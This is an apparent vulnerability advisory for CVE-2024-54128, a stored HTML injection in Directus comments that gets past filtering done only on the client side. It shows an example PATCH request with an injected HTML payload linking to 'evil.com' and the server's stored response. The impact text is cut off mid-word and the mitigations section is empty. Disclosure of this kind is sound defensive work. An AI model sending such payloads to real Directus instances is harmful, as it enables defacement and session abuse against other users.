Directus has an HTML Injection in Comment
Date: 2024-12
Affected: npm/directus, npm/directus, npm/@directus/app
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2024-54128
CWE: CWE-80
CVSS: 5.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N)

### Summary The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection. ### Details The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint. Example Request: ``` PATCH /activity/comment/3 HTTP/2 Host: directus.local { "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>" } ``` Example Response: ```json { "data": { "id": 3, "action": "comment", "user": "288fdccc-399a-40a1-ac63-811bf62e6a18", "timestamp": "2023-09-06T02:23:40.740Z", "ip": "10.42.0.1", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "collection": "directus_files", "item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a", "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>", "origin": "https://directus.local", "revisions": [] } } ``` Example Result: ![Screenshot 2023-09-06 094536](https://user-images.githubusercontent.com/61263002/265876100-12e068fe-3d53-41b4-bfcb-458c2bc2a638.png) ## Impact With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actio


Mitigations:

Architectural layers (MAESTRO):